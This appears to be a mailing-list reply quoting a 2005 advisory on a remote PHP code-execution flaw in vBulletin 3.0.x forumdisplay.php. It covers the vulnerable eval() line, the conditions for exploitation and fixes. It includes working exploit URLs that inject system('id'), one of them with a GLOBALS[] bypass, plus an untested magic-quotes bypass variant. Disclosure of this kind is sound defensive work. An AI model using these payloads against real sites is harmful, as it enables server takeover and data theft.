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Re: vbulletin 3.0.x PHP code execution

On 13 Feb 2005 17:16:35 -0000, AL3NDALEEB <al3ndaleeb@xxxxxxx> wrote:

The 4th condition is the most hard to find condition in php installation. There is a technique to by pass magic quote condition by supplying nested variable to $comma. Since I've no vbulletin source code to test with this technique is not confirmed in this vulnerability.

example:
        
http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma={$func($comm)}&func=system&comm=id

It is never tested to real 


Vulnerable Systems:
 ----------------
 vBulletin version 3.0 up to and including version 3.0.4

 Immune systems:
 ----------------
 vBulletin version 3.0.5
 vBulletin version 3.0.6

 Vulnerable code in forumdisplay.php :
 #############################################################
 if ($vboptions['showforumusers'])
 {
    .
    .
    .
    .

if ($bbuserinfo['userid'])
{
.
.
.
.
$comma = ', ';
}
.
.
.
.
while ($loggedin = $DB_site->fetch_array($forumusers))
{
.
.
.
eval('$activeusers .= "' . $comma . fetch_template('forumdisplay_loggedinuser') . '";'); <<==== (Vuln)
$comma = ', ';
.
.
}
.
.
}

#############################################################

Conditions:
----------------
1st condition : $vboptions['showforumusers'] == True , the admin must set
showforumusers ON in vbulletin options.
2nd condition : $bbuserinfo['userid'] == 0 , you must be an visitor/guest
.
3rd condition : $DB_site->fetch_array($forumusers) == True , when you
visit the forums, it must has at least one user show the forum.
4th condition : magic_quotes_gpc must be OFF
SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in
init.php by secret array GLOBALS[]=1 ;)))


 Solutions:
 ----------------
 * Disable showforumusers in vbulletin options .
 * add the next line before if ($vboptions['showforumusers'])
     $comma = '';

 Exploit:
 ----------------
example :
http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."




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